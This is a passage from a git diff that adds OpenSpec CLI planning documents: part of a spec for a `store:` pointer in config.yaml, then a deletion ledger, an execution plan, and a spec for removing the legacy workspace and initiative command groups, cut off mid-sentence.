draft's relative + `openspec/config.yaml`, per the absolute-paths quality bar) — in + both human and JSON modes (stderr keeps stdout payloads clean). + `references:` in the same config keeps working; only the `store:` + pointer is ignored. +6. **The pointer directory is never scaffolded by normal commands; only + `openspec init` may convert it, deliberately.** No lifecycle command + creates `specs/` or `changes/` inside a config-only pointer + directory; work lands in the declared store's root. `openspec init` + run in a pointer repo **refuses** with an actionable error ("this + repo's planning is externalized to store 'x' (openspec/config.yaml); + remove the store: line first to convert it to a local root") instead + of silently scaffolding a both-shapes directory. + +## User Experience + +A team keeps all planning in `team-context`. Their app repo carries +only a pointer: + +```yaml +# app-repo/openspec/config.yaml +store: team-context +``` + +Every normal command just works there, no flag: + +```text +$ openspec new change billing-rework +Using OpenSpec root: team-context (/Users/dev/src/team-context) +Created change 'billing-rework' at /Users/dev/src/team-context/openspec/changes/billing-rework/ +... +$ openspec status --change billing-rework --json +{ ..., "root": { "path": "/Users/dev/src/team-context", + "source": "declared", "store_id": "team-context" } } +``` + +(Note the absolute path: a declared root is cross-root, exactly like +`--store`, so every displayed path is absolute.) + +The pointer never hijacks a real root: in a repo that has its own +`openspec/specs/`, the same `store:` line changes nothing except one +stderr warning that it is being ignored. And a teammate without the +store registered gets the full store-error treatment, told exactly +where the requirement came from: + +```text +Error: Declared in /Users/dev/src/app-repo/openspec/config.yaml: Unknown store +'team-context'. No stores are registered. Run openspec store setup team-context +or openspec store register <path> first. +``` + +## Scope + +In scope: + +- **Config**: `store:` (optional string) in `ProjectConfigSchema` and + the resilient parser (`src/core/project-config.ts`). +- **Resolver**: in `resolveOpenSpecRoot` + (`src/core/root-selection.ts:275-313`), after + `findRepoPlanningRootSync` returns a directory: the two + directory-shape stats; the pointer branch (warning-silent targeted + config read, malformed-pointer errors, resolve via the existing + `resolveStoreRoot` with the `declaredOrigin` prefix); `source: + 'declared'` added to `OpenSpecRootSource` and `RootOutput`; the + store-selected predicate (`storeId` set) adopted by all seven + source-keyed consumers (decision 3's list); the both-shapes stderr + warning. +- **Init guard**: `openspec init` refuses to scaffold a config-only + pointer directory (decision 6), with its own test. +- **Docs**: extend the `docs/cli.md` "Referencing stores from a + project" area with a sibling "Declaring a default store" subsection; + add the `store:` bullet to the config keys covered there. +- **Tests**: resolver unit coverage (pointer resolves; pointer + + explicit `--store` precedence; pointer ignored with planning shape + + warning; config-only without pointer unchanged; pointer to + unknown/unhealthy store errors with origin prefix; invalid pointer id + grammar); byte-identity pin (real root with and without `store:` — + identical stdout); an e2e externalized-planning journey (rootless app + repo with pointer → `new change`, `status`, `instructions`, artifact + writes, `validate`, `archive`, all without `--store`; work lands in + the store; the pointer dir gains no `specs/`/`changes/`; banner and + JSON root block report `declared`). + +Out of scope: + +- References behavior (3.1, shipped) beyond the natural composition: + the declared root's `references:` work exactly as for any resolved + root. +- Remotes (3.3), the structured health surface (3.6), assembly (4.1). +- Any change to explicit `--store` behavior, the stores-hint error, or + the implicit-root scaffold for directories without `openspec/`. +- Multi-store pointers, per-command pointer overrides, or pointer + inheritance across the walk. + +## Acceptance Criteria + +### The Fallback Resolves + +#### Scenario: Externalized Planning Without Flags + +- **GIVEN** a repo whose `openspec/` contains only `config.yaml` with + `store: team-context`, and `team-context` registered and healthy +- **WHEN** `new change`, `status`, `instructions`, `validate`, `list`, + `show`, and `archive` run there without `--store` +- **THEN** every command acts on the store's root +- **AND** the banner prints `Using OpenSpec root: team-context (…)` +- **AND** JSON output's root block is + `{path: <store root>, source: "declared", store_id: "team-context"}` +- **AND** printed hints carry `--store team-context` +- **AND** the pointer directory never gains `specs/` or `changes/` + +#### Scenario: Explicit --store Still Wins + +- **GIVEN** the pointer declares `team-context` +- **WHEN** a command runs with `--store other-context` +- **THEN** it resolves `other-context` with `source: "store"`, the + pointer never consulted + +### The Fallback Never Overrides + +#### Scenario: Local Root Byte-Identity + +- **GIVEN** a repo with a real root (`openspec/specs/` or + `openspec/changes/` present) +- **WHEN** any command runs with and without a `store:` line in its + config +- **THEN** stdout is byte-identical in both runs (source stays + `nearest`) +- **AND** the runs with the pointer emit exactly one stderr warning per + invocation naming the ignored declaration, in human and JSON modes + alike, with JSON stdout payloads staying clean + +#### Scenario: Config-Only Roots Without Pointers Are Unchanged + +- **GIVEN** a config-only `openspec/` directory whose config has no + `store:` key +- **WHEN** commands run there +- **THEN** behavior is byte-identical to today (the directory is still + the root) + +### Failures Stay Actionable + +#### Scenario: Pointer To An Unavailable Store + +- **GIVEN** a pointer to an id that is unregistered, unhealthy, or + grammatically invalid +- **WHEN** a command runs +- **THEN** the existing store-error taxonomy fires (`unknown_store`, + `no_registered_stores`, `unhealthy_store_root`, + `store_identity_mismatch`, `invalid_store_id`) with the message + prefixed "Declared in <absolute path to the config file actually + read>: " +- **AND** the fix text is pasteable and unchanged in meaning +- **AND** a non-string `store:` value or an unparseable config in a + config-only directory fails with `invalid_store_pointer` naming the + origin — never a silent fall-through to local-root behavior, never a + write next to the pointer +- **AND** a pointer whose target store's own config carries `store:` + resolves to that target (one hop, no chaining) + +#### Scenario: Init Refuses To Bury A Pointer + +- **GIVEN** a config-only pointer directory +- **WHEN** the user runs `openspec init` +- **THEN** init fails with the conversion guidance (remove the + `store:` line first) and creates nothing +- **AND** after the user removes the line and reruns, init scaffolds a + normal local root + +#### Scenario: No Pointer, No Root — Nothing Changed + +- **GIVEN** a directory with no `openspec/` anywhere up the walk +- **WHEN** a command runs with registered stores present +- **THEN** the slice 1.2 stores-hint error appears, byte-identical to + today + +### The Composition Holds + +#### Scenario: Declared Root With References + +- **GIVEN** the declared store's own config carries `references:` +- **WHEN** `instructions` runs in the pointer repo +- **THEN** the index reflects the store's references (3.1 symmetric + behavior through the declared root) diff --git a/openspec/work/simplify-context-and-workspace-model/slices/delete-legacy-command-groups/deletion-ledger.md b/openspec/work/simplify-context-and-workspace-model/slices/delete-legacy-command-groups/deletion-ledger.md new file mode 100644 index 0000000000..3ff3373967 --- /dev/null +++ b/openspec/work/simplify-context-and-workspace-model/slices/delete-legacy-command-groups/deletion-ledger.md @@ -0,0 +1,111 @@ +# Deletion Ledger: Legacy Command Groups + +Generated 2026-06-11 by diffing +`rg -o "(workspace|initiative)_[a-z_]+" src/**/*.ts | sort -u` between the +pre-deletion commit (`ef45d5d`) and the deletion commit. For the +capstone's agent-contract inventory and dead-code sweep. + +## Surviving tokens (deliberate) + +- `initiative_option_removed` — the `new change --initiative` rejection, + locked in slice 1.2. Lives in `src/commands/workflow/new-change.ts`. + +## Removed diagnostic codes (emitted only by deleted command paths) + +Initiative group: + +- initiative_already_exists +- initiative_ambiguous +- initiative_collection_invalid +- initiative_collections_invalid +- initiative_collections_partially_invalid +- initiative_discovery_failed +- initiative_error +- initiative_id_required +- initiative_invalid +- initiative_lookup_incomplete +- initiative_not_found +- initiative_summary_required +- initiative_title_required + +Workspace group: + +- workspace_already_exists +- workspace_context_bind_required +- workspace_context_conflict +- workspace_create_failed +- workspace_error +- workspace_initiative_missing +- workspace_initiative_selection_ambiguous +- workspace_initiative_unavailable +- workspace_local_state_invalid +- workspace_name_collision +- workspace_no_available_openers +- workspace_not_found +- workspace_not_in_known_views +- workspace_open_change_unsupported +- workspace_open_link_skipped +- workspace_open_prepare_only_unsupported +- workspace_opener_conflict +- workspace_opener_launch_failed +- workspace_opener_unavailable +- workspace_opener_unset +- workspace_root_missing +- workspace_selection_ambiguous +- workspace_selection_conflict +- workspace_skills_out_of_sync +- workspace_state_invalid +- workspace_store_unavailable +- invalid_workspace_setup_tools (sweep fragment `workspace_setup_tools`) +- invalid_workspace_update_tools (sweep fragment `workspace_update_tools`) + +(`workspace_open_store_without_initiative` was already deleted by rider 1 +of slice 1.4 and is recorded in that slice's history.) + +## Removed non-code tokens (zod paths, JSON keys, target fragments) + +- initiative_id, initiative_reference (selector/zod field names) +- workspace_name, workspace_agent, workspace_opener (option/zod field + names in the deleted command layer) + +## Dead-export carve-outs (EXECUTED by 4.1 on 2026-06-11) + +Exports inside kept modules whose last consumer died with this slice. +They belonged to the workspace state model that 4.1 replaced; 4.1 +deleted every entry below, WIDENED to whole-module deaths where the +keep-rationale collapsed (`src/core/workspace/` whole, `binding.ts` +whole, `getRepoPath`, the five template guards, the planning-home and +change-status-policy workspace branches, the library pins that froze +them, and the `workspace_skills` vocabulary-allowlist entry). The +historical list: + +- `findWorkspaceRoot`, `isWorkspaceRoot` — + `src/core/workspace/state-io.ts` +- `resolveStoreBinding`, `createPathStoreBinding`, + `createRegisteredStoreBinding` — `src/core/store/binding.ts` +- `resolveCurrentPlanningHomeSync`'s workspace branch — + `src/core/planning-home.ts` (CLI-unreachable since slice 1.2's + resolver demotion; library behavior pinned by + `test/core/planning-home.test.ts`) +- `buildActionContext`'s workspace-planning branch — + `src/core/change-status-policy.ts` (same; pinned by + `test/commands/legacy-groups-removed.test.ts`) +- `readOptionalWorkspaceViewState`, `isWorkspaceRoot`, + `writeWorkspaceViewState`, `workspaceChangesDirExists` — + `src/core/workspace/state-io.ts` (production consumers died with the + commands; only planning-home's read path and tests remain) + +## Accepted collateral and known follow-ups + +- **Minor error-fidelity change in `openspec update`**: pre-deletion, an + unreadable `openspec/` entry (EACCES) surfaced the raw fs error via + the deleted detection helper; the unconditional path now reports the + standard no-project error. Accepted as part of decision 2a's behavior + change. +- **The accepted spec library still describes deleted behavior**: + `openspec/specs/cli-config`, `workspace-open`, `workspace-foundation`, + and `cli-artifact-workflow` specs REQUIRE workspace/initiative flows + that no longer exist. This is the roadmap's parked Later Idea **L2** + ("Decide how accepted workspace-planning specs should change once + behavior has changed") — deliberately not resolved by this slice; the + capstone should surface it under known gaps. diff --git a/openspec/work/simplify-context-and-workspace-model/slices/delete-legacy-command-groups/plan.md b/openspec/work/simplify-context-and-workspace-model/slices/delete-legacy-command-groups/plan.md new file mode 100644 index 0000000000..3c88923ccb --- /dev/null +++ b/openspec/work/simplify-context-and-workspace-model/slices/delete-legacy-command-groups/plan.md @@ -0,0 +1,216 @@ +# Delete Legacy Command Groups Plan + +## Status + +Spec locked 2026-06-11 after two parallel adversarial rounds (both +initially rejected; all findings verified against code and folded: the +config-command integration, the binding.ts carve-out, the narrowed 5.1 +wording, the concepts.md section, the constraint rewording). Plan +drafted 2026-06-11. Implementation not started. + +The main move: + +```text +Delete the workspace and initiative command groups and everything only +they consumed — about −13k lines — while the planning-home contract, +legacy metadata display, and all user data stay byte-identical. +``` + +## Source Of Truth + +Start from `spec.md` (this folder). Also keep nearby: + +- `../../roadmap.md` (5.1 criteria with the narrowed sequencing wording, + Rules We Should Not Forget) +- `../store-rename-and-guidance/spec.md` (the 1.4 surfaces this slice + must not regress: vocabulary sweep, store teaching, template guards) + +Sequencing: stacks on the 1.4 tip. Phase 3 slices assume these groups +are gone (no more second meanings to design around). + +## User-Facing Frame + +- "Show me only the product that exists: roots, stores, the lifecycle." +- "Don't touch my files — old initiative folders and workspace state + stay where they are." +- "If an old change carries initiative metadata, keep showing it to me." + +## Goals + +- Delete the command layer (15 files), the orphaned core (5 workspace + modules + the collections tree), the completions entries, the + workspace-profile integration in `config`, the dead docs, and the + tests of all of it. +- Keep planning-home, legacy display, `initiative_option_removed`, the + store group, and the 1.3/1.4 guarantees green and unchanged. +- Commit `deletion-ledger.md` (39 removed diagnostic codes + the + dead-export carve-outs owned by 4.1). +- Report the net LOC delta. + +## Non-Goals + +- No changes to `schemas/workspace-planning/`, the `workspace-planning` + mode value, planning-home behavior, or the template guards. +- No user-data deletion or migration; no doctor warnings about orphaned + view state (4.1's problem space). +- No behavior changes beyond the spec's three named ones (update + detection block; config workspace integration; the constraint-string + rewording). + +## Deletion Map (from the spec, re-verified at execution time) + +Every deletion below is executed with a grep-before-delete: list the +module's importers; if anything outside the deletion set imports it, +stop and re-plan rather than force. + +**Wave 1 — command layer and registrations** + +- `src/commands/workspace.ts`, `src/commands/workspace/` (11 files), + `src/commands/initiative.ts`. +- `src/cli/index.ts`: imports (~21, 23), registrations (~349, 351), the + `findWorkspaceRoot` update-detection block (~205-210) and its import + (~24). +- `src/commands/config.ts`: the `WorkspaceConfigProfileContext` + interface (49-52), workspace context resolution (199-211), + drift-warning workspace branch (228-252), apply-guidance workspace + branch (254-261), the core-preset call sites (523-524), the + apply-to-workspace exec flow (674-697), and the workspace imports + (25-29). + +**Wave 2 — orphaned core and barrels** + +- `src/core/workspace/{registry,openers,open-surface,skills,link-input}.ts`; + prune `src/core/workspace/index.ts` exports to the kept pair + (foundation, state-io — legacy-state is not barrel-exported; its + consumers import it directly). +- `src/core/collections/` whole tree; remove its barrel line from + `src/core/index.ts`. +- Keep: `binding.ts` (foundation depends on it), `foundation.ts`, + `state-io.ts`, `legacy-state.ts`, `planning-home.ts`. +- Reword the constraint string at `src/core/change-status-policy.ts:99`. + +**Wave 3 — completions and docs** + +- `src/core/completions/command-registry.ts`: delete the `workspace` + (~251-407) and `initiative` (~502-589) group entries (the parity test + enforces lockstep with Wave 1). +- `docs/cli.md`: workspace section (~179-349), the six + `openspec workspace ...` rows in the agent-compatible table (51-56), + initiative rows/sections (~63-64, ~444-491), summary-table rows (~10 + — and the kept Stores row's cell text, which lists + `initiative create/show/list`, gets an in-row edit), and the two + `openspec workspace update` instructions in the Configuration + Commands section (1178, 1180). +- `docs/workspaces-beta/` deleted; `docs/concepts.md` "Coordination + Workspaces" section (~52-194) deleted. + +**Wave 4 — tests** + +- Delete whole: `test/commands/workspace.test.ts`, + `workspace.interactive.test.ts`, `workspace-open.test.ts`, + `workspace-initiative-open.test.ts`, `initiative.test.ts`, + `test/core/workspace/skills.test.ts`, `test/core/collections/` (tree), + `test/helpers/path-env.ts`. +- Partial edits: `test/commands/config-profile.test.ts` (the + workspace-profile helper at 134-172 and the four workspace cases at + 422-516; keep the project-apply coverage at ~402), + `test/core/store/registry.test.ts` (initiatives-collection portions, + ~615-624 plus the import at line 11; binding tests stay), + `test/core/workspace/foundation.test.ts` (deleted-module portions + only; state-shape tests stay), and + `test/core/completions/command-registry.test.ts` (remove the + now-obsolete initiative carve-out at ~157-161 in the `--store` + description walk — a deliberate fourth partial edit named in the + spec). No expectations currently pin the reworded constraint string; + the new pin lives in the Wave 5 test, and + `change-initiative-link.test.ts` stays unchanged. +- Keep green unchanged: `change-initiative-link.test.ts`, + `test/core/planning-home.test.ts`, + `test/core/workspace/legacy-state.test.ts`, store suite, journey, + vocabulary sweep. + +**Wave 5 — new tests and the ledger** + +- New tests (in an existing suitable file or a small + `test/commands/legacy-groups-removed.test.ts`): + - `openspec workspace list` / `openspec initiative list` → unknown + command, exit 1 (runCLI, built binary). + - `--help` lists neither group (in-process registry/`program` checks + are already enforced by parity; the e2e check covers help output). + - Update fall-through: view-state dir, `openspec update` → standard + no-project error, no workspace mention. + - User-data survival: store with `initiatives/` + XDG view state; + run `store list`, `store doctor`, `store remove <other>`, `update`, + `status`, `new change`; compare trees before/after with the + `snapshotDirectory` approach from + `test/cli-e2e/store-lifecycle.test.ts:62-80` (relpath→content map). + - Legacy display: the human-readable `Initiative: <store>/<id>` line + is pinned nowhere today — assert it here over a legacy-metadata + fixture (a plain `status` run). `change-initiative-link.test.ts` + stays unchanged (it pins the JSON field and the flag rejection). + - Planning-home mode pin: `status --json` over a + `.openspec-workspace/view.yaml` fixture asserts + `actionContext.mode === 'workspace-planning'` and the reworded + read-only constraint string. (Plan-review finding: no existing test + asserts the mode — `planning-home.test.ts` checks only + `PlanningHome.kind`.) +- `deletion-ledger.md`: the 39 codes, generated with a precise + `rg -o "(workspace|initiative)_[a-z_]+" src test | sort -u` inventory + before and after (classifying data fields like `workspace_skills` + separately from diagnostic codes), plus the dead-export carve-outs + (`findWorkspaceRoot`, `isWorkspaceRoot`, `resolveStoreBinding`, + `createPathStoreBinding`, `createRegisteredStoreBinding`) each with + owner 4.1. + +## Execution Order + +One checkpoint, one commit (the waves are not independently shippable — +the build only compiles with all of them done): + +1. Wave 1 + 2 together (compiler-driven: delete files, chase the import + errors through barrels and config.ts). +2. Wave 3 (parity test forces completions lockstep; docs mechanical). +3. Wave 4 + 5 (test deletions, partial edits, new tests, ledger). +4. `pnpm run build`, full `pnpm test`, built-binary smoke + (`workspace`/`initiative` unknown; `--help`; store group intact), + and the explicit pointer gate: + `grep -rn "openspec workspace\|openspec initiative" docs/ src/ .codex/` + must return nothing (the vocabulary sweep does not police these — + `workspace`/`initiative` are not retired tokens). +5. Capture net LOC delta (`git diff --shortstat HEAD~1`) for the + changelog; commit. + +If the suite reveals a consumer the grep missed, stop, record the +correction in the spec (ground truth), and re-run — never force a +deletion through by stubbing. + +## Risks And Guardrails + +- **Hidden consumers through barrels**: `src/core/index.ts` re-exports + everything; a kept module may import a deleted symbol via the barrel + rather than directly. The compiler catches imports; grep each deleted + *export name* too (string-based access or re-export chains). +- **The config command edit is behavior, not just deletion**: keep + `config profile` working globally; only the workspace branch goes. + Its tests define the kept behavior — edit them deliberately. +- **registry.test.ts surgery**: the initiatives-collection block sits + inside a kept file; delete only that describe/it scope and its + imports, keep binding coverage. +- **Vocabulary sweep stays green**: deleted docs can't regress it, but + the new test file must not introduce retired tokens (use the + established concatenation constants if needed — likely unnecessary + since `workspace`/`initiative` are not retired tokens). +- **User-data test isolation**: build the fixture store + view state in + temp XDG dirs; hash with a stable tree walk (reuse the journey test's + approach in `store-lifecycle.test.ts`). +- **LOC delta accuracy**: report `git diff --shortstat` of the single + implementation commit, splitting src/test/docs in the changelog note. + +## Done Definition + +- All spec acceptance scenarios pass; the implementation commit is on + `codex/store-root-parity` with the full suite green. +- `deletion-ledger.md` committed; net LOC delta recorded in the + changelog. +- Roadmap 5.1 first-tranche boxes ticked (cleanup plan written, cleanup + done, tests/review checks pass), pointer moved to 3.1. diff --git a/openspec/work/simplify-context-and-workspace-model/slices/delete-legacy-command-groups/remainder.md b/openspec/work/simplify-context-and-workspace-model/slices/delete-legacy-command-groups/remainder.md new file mode 100644 index 0000000000..9cec9014d6 --- /dev/null +++ b/openspec/work/simplify-context-and-workspace-model/slices/delete-legacy-command-groups/remainder.md @@ -0,0 +1,53 @@ +# The Phase 5 Remainder (closing out 5.1) + +Decided and executed 2026-06-11, after 4.1, per the queue. The locked +5.1 criteria govern: delete, don't hide; never auto-delete user data. +Everything below is repo-owned project material in THIS repository +(schemas we ship, our own planning artifacts, our own accepted specs) — +not user data. + +## 1. `schemas/workspace-planning/` — DELETED + +After 4.1, no src code names the schema (`WORKSPACE_DEFAULT_SCHEMA` +died with planning-home's collapse), but `openspec schemas` still +ADVERTISED it — a shipped invitation into a workflow whose commands, +mode, and state model no longer exist. That is the precise "old surface +that misleads" the 5.1 criteria target. The directory (schema.yaml + +templates) is deleted; `openspec schemas` now lists `spec-driven` +alone. + +## 2. Obsolete beta change folders — the four `workspace-*` DELETED + +`openspec/changes/{workspace-agent-guidance, workspace-apply-repo-slice, +workspace-reimplementation-roadmap, workspace-verify-and-archive}` are +planning relics of the dead beta (mostly bare proposals; none +implemented). Archiving them would assert they were completed — a lie; +keeping them active advertises dead work. Deleted; git history +preserves them. The other change folders (add-*, fix-*, schema-*, etc.) +are NOT workspace-beta material and stay untouched. + +## 3. L2 — the accepted workspace-era specs + +The parked question: what happens to accepted specs that REQUIRE +deleted behavior. Decision in two grades: + +- **Wholly-workspace specs DELETED**: `workspace-open`, + `workspace-foundation`, `workspace-change-planning`, + `workspace-links`. Every requirement in them mandates commands and + state that no longer exist; an accepted-spec library that REQUIRES + the impossible is worse than one with a gap. Capability gone = + spec gone. +- **Mixed specs get a bounded excision, not a rewrite**: in + `cli-config`, the "Config profile applies to current workspace" + requirement dies (the prompt flow it mandates was deleted). In + `cli-artifact-workflow`, the "Workspace Setup Commands" and + "Workspace schema instructions" requirements die whole, and the + workspace-scoped scenarios/clauses inside the status-JSON and + planning-context requirements are removed (status JSON no longer + reports workspace anything). No other rewording. +- **Incidental mentions elsewhere are recorded, not rewritten**: + `change-creation`, `artifact-graph`, `cli-update`, + `openspec-conventions`, `schema-resolution` mention workspace + historically or peripherally; sweeping them is the broad docs + rewrite the roadmap forbids. Recorded as capstone + vocabulary-audit input. diff --git a/openspec/work/simplify-context-and-workspace-model/slices/delete-legacy-command-groups/spec.md b/openspec/work/simplify-context-and-workspace-model/slices/delete-legacy-command-groups/spec.md new file mode 100644 index 0000000000..6277932ed0 --- /dev/null +++ b/openspec/work/simplify-context-and-workspace-model/slices/delete-legacy-command-groups/spec.md @@ -0,0 +1,332 @@ +# Delete Legacy Command Groups Spec + +## Outcome + +The `openspec workspace` and `openspec initiative` command groups no +longer exist, and everything that only they consumed goes with them — +command layer, orphaned core modules, completions entries, tests, and +docs. After this slice the CLI's visible surface is the simple path: +OpenSpec roots, stores, and the normal lifecycle commands. What survives +is exactly what other surfaces still need: the planning-home +workspace-mode contract (until 4.1 rebuilds opening), legacy change +metadata display, the `--initiative` rejection error, and every byte of +user data on disk. + +This is the "small command-group deletion slice" the locked 5.1 criteria +sequenced "soon after 1.4". Slice 1.4 already stopped guidance from +advertising these groups; this slice deletes the groups themselves. The +opening machinery's state model dies later, when 4.1 replaces it. + +## Locked Decisions (from roadmap 5.1, 2026-06-11) + +1. **Delete, don't hide.** With zero users, hiding keeps every cost and + protects nobody. No hidden aliases, no deprecation shims, no + redirect stubs for the deleted groups. +2. **Sequenced.** Guidance surfaces died in 1.4 (done); the command + groups die here; the opening machinery and the + `workspace-planning` mode die when 4.1 replaces opening. +3. **Never delete user data.** Initiative directories inside stores, + workspace view state under the XDG data dir, and workspace `changes/` + directories stay on disk untouched. Git history is the undo for + code; nothing is the undo for user data. +4. **Phase 5 deletion slices proceed without confirmation** (runbook): + they delete code and generated guidance only. + +## Decisions This Spec Makes (autonomous, recorded in the changelog) + +1. **Orphans go with the groups.** Delete-don't-hide applies transitively + to code whose last consumer is a deleted command: the five + command-consumed core workspace modules (`registry`, `openers`, + `open-surface`, `link-input`, and `skills` — the last also consumed by + the surviving `config` command, whose workspace-profile integration is + deleted with it, see decision 2) and the entire `src/core/collections/` + tree (the initiatives collection plus the collection runtime — its + only consumers are the dying commands). Leaving them would recreate + the hidden-not-deleted state 5.1 rejected. `src/core/store/binding.ts` + is **not** an orphan and stays: the kept `workspace/foundation.ts` + imports its types and normalization for the persisted view-state + shape (planning-home depends on it transitively). +2. **Surviving commands stop pointing at the dead groups — two included + behavior changes.** (a) `openspec update`'s workspace detection + (`src/cli/index.ts:~205-210` via `findWorkspaceRoot`) errors with + "Run `openspec workspace update`…", a dead command after this slice; + the block is deleted and `update` in a workspace view dir falls + through to the standard no-project error. (b) The `config` command's + workspace-profile integration — drift warnings naming + `openspec workspace update` (`src/commands/config.ts:228-261`), the + workspace context resolution (`:199-211`), and the interactive + apply-to-workspace flow that **executes** + `npx openspec workspace update` (`:674-697`) — is deleted whole. + `config profile` keeps working for global profile management with no + workspace awareness. +3. **The planning-home carve-out is exact.** `src/core/planning-home.ts` + keeps resolving workspace view state (`workspaceStateFileExistsSync`, + `readWorkspaceViewStateSync`, `getWorkspaceChangesDir`), so + `src/core/workspace/foundation.ts`, `state-io.ts`, `legacy-state.ts`, + and `src/core/store/binding.ts` (the view-state binding types) stay; + the `actionContext.mode: "workspace-planning"` contract value stays; + and the five workflow template guards stay. Existing on-disk view + state created before this slice still produces workspace-planning + mode. Precisely: the workspace **state model** and the + `workspace-planning` mode die in 4.1; the zero-consumer opening + helpers (`openers`, `open-surface`) die now because nothing can reach + them once `workspace open` is gone. This narrows the roadmap's + "opening machinery dies when 4.1 replaces it" wording — the + controlling locked criterion is delete-don't-hide, and keeping + unreachable files would recreate exactly the hidden state 5.1 + rejected; the narrowed wording is recorded in the roadmap changelog + as a reviewable autonomous decision. +4. **Deliberate dead-export carve-outs are recorded, not hidden.** Some + exports inside kept modules lose their last consumer with this slice + (`findWorkspaceRoot`/`isWorkspaceRoot` in `state-io.ts`; + `resolveStoreBinding` and the binding constructors in `binding.ts`). + They are kept because they belong to the state model 4.1 replaces; + the slice ledger lists them explicitly so the capstone's dead-code + sweep reads them as deliberate carve-outs with a named owner (4.1), + not as misses. +5. **Legacy display and rejection survive; one constraint string + rewords.** Old initiative-linked changes remain displayable: the + `InitiativeLink` change-metadata shape and the `status`/`instructions` + legacy display lines read from change metadata (artifact-graph), not + from the deleted collections code. `new change --initiative` keeps + failing with `initiative_option_removed` (locked in 1.2). + `test/commands/change-initiative-link.test.ts` covers exactly these + survivors and is kept, not deleted. One surviving workspace-planning + constraint string still steers toward the old model ("Use initiatives + for durable coordination when initiative context exists.", + `src/core/change-status-policy.ts:99`); it rewords to read-only + compatibility language ("Treat existing initiative context as + read-only coordination context.") — a string edit inside a kept + module, not a contract change. +6. **A deletion ledger is committed.** `deletion-ledger.md` in this slice + folder records (a) the 39 `workspace_*`/`initiative_*` diagnostic + codes removed with the commands (verified by sweep; the sole survivor + is `initiative_option_removed`), and (b) the dead-export carve-outs + from decision 4 — so the capstone's agent-contract inventory and + dead-code sweep can verify the surface shrank deliberately. +7. **Docs about nothing get deleted, not updated.** `docs/cli.md` loses + its workspace and initiative sections and summary-table rows; + `docs/workspaces-beta/` (which documents only the deleted groups) is + deleted whole; `docs/concepts.md` loses its entire "Coordination + Workspaces" section (the mental model, layout, and its ~17 dead + invocations — deleting only the command lines would strand the + prose). This supersedes the 1.4 decision that parked the beta docs + for the Phase 5 remainder — with the commands gone, every line in + them is a dead invocation. + +## User Experience + +A user (or agent) exploring the CLI sees roots, stores, and the +lifecycle — nothing else: + +```text +$ openspec --help + ... init, update, list, view, validate, show, archive, status, + instructions, templates, schemas, new, store, completion ... +$ openspec workspace list +error: unknown command 'workspace' +$ openspec initiative list +error: unknown command 'initiative' +``` + +Nothing points at the dead groups: no help text, no completions, no +docs, no generated guidance (1.4 already cleaned those), no error hint +anywhere in the surviving CLI names a `workspace` or `initiative` +command. + +A team with old beta data loses no files: initiative folders inside +their store and workspace view directories are still on disk, old +initiative-linked changes still show their `Initiative: <store>/<id>` +line in `status`/`instructions`, and an agent standing in a leftover +workspace view directory still gets the guarded workspace-planning +behavior until Phase 4 replaces opening. + +## Scope + +In scope — deletions: + +- **Command layer**: `src/commands/workspace.ts`, + `src/commands/workspace/` (all 11 files), `src/commands/initiative.ts`; + their imports and registrations in `src/cli/index.ts` (lines ~21, 23, + 349, 351) and the `findWorkspaceRoot` update-detection block + (~205-210). +- **The `config` command's workspace-profile integration** (decision 2b): + `src/commands/config.ts` workspace context resolution, drift warnings, + apply-to-workspace exec flow, and the corresponding tests in + `test/commands/config-profile.test.ts` (the drift checks and the + apply-to-workspace flow tests, ~lines 422-441 and related). +- **Orphaned core**: `src/core/workspace/{registry,openers,open-surface,skills,link-input}.ts`; + `src/core/collections/` (whole tree: `initiatives/`, `runtime.ts`, + `index.ts`); all barrel exports of the deleted modules + (`src/core/index.ts`, `src/core/workspace/index.ts`). `binding.ts` + stays (decision 1). Implementation must re-verify each orphan's + consumer list at deletion time (the compiler plus a grep for each + deleted export). +- **Completions**: the `workspace` and `initiative` group entries in + `src/core/completions/command-registry.ts` (~250-407, ~502-589). +- **Tests of deleted surfaces**: `test/commands/workspace.test.ts`, + `workspace.interactive.test.ts`, `workspace-open.test.ts`, + `workspace-initiative-open.test.ts`, `initiative.test.ts`; + `test/core/workspace/skills.test.ts`; + `test/core/collections/` (whole tree); the deleted-module portions of + `test/core/workspace/foundation.test.ts`; the initiatives-collection + portions of `test/core/store/registry.test.ts` (~615-623; its binding + tests stay with the kept module); the orphaned + `test/helpers/path-env.ts` (its only importers are deleted test + files). +- **Docs**: `docs/cli.md` workspace and initiative sections plus their + summary-table rows; `docs/workspaces-beta/` deleted; + `docs/concepts.md` "Coordination Workspaces" section deleted whole. +- **Constraint rewording** (decision 5): the "Use initiatives…" line in + `src/core/change-status-policy.ts:99` becomes read-only compatibility + language; its test expectations update. +- **Ledger**: commit `deletion-ledger.md` in this slice folder + (decisions 4 and 6). + +In scope — survivors that need deliberate care: + +- `src/core/planning-home.ts` and its workspace state dependencies + (`foundation.ts`, `state-io.ts`, `legacy-state.ts`) keep working; + `test/core/planning-home.test.ts` and + `test/core/workspace/legacy-state.test.ts` stay green. +- Legacy initiative display in `status`/`instructions` and the + `initiative_option_removed` rejection; `change-initiative-link.test.ts` + stays green unchanged. +- The store group, root selection, the 1.3 journey, and the 1.4 + vocabulary sweep stay green unchanged. + +Out of scope: + +- `schemas/workspace-planning/` content and the `workspace-planning` + schema name (Phase 5 remainder decides its fate). +- The `actionContext.mode` contract, planning-home behavior changes, or + any opening/assembly replacement (4.1). +- Deleting or migrating user data: initiative dirs, view state, + workspace changes dirs. +- Any change to surviving command behavior beyond the two named in + decision 2 (`openspec update` detection-block removal; `config` + workspace-profile integration removal) and the constraint-string + rewording in decision 5. +- The store feature and references (Phase 3). + +## Acceptance Criteria + +### The Groups Are Gone + +#### Scenario: Unknown Commands, Everywhere + +- **WHEN** the user runs `openspec workspace <anything>` or + `openspec initiative <anything>` +- **THEN** the CLI fails with Commander's unknown-command error, exit 1, + no alias, no redirect stub +- **AND** `openspec --help` lists neither group +- **AND** the completions registry contains no `workspace` or + `initiative` entries (the registry/Commander parity test enforces both + sides) + +#### Scenario: Nothing Points At The Dead Groups + +- **WHEN** the surviving CLI prints any help, error, hint, or fix text, + and when `docs/` (and `.codex/` guidance on disk) are grepped for + `openspec workspace` and `openspec initiative` +- **THEN** no live surface instructs running a deleted command +- **AND** the only remaining `workspace` vocabulary in generated + guidance is the five template guards quoting the still-live + `actionContext.mode: "workspace-planning"` contract + +### The Orphans Went With Them + +#### Scenario: No Hidden-Not-Deleted Code + +- **WHEN** the deleted modules' former exports are grepped across `src/` +- **THEN** no consumer remains and no deleted-module file remains + (`src/core/collections/` and the five deleted workspace core modules: + 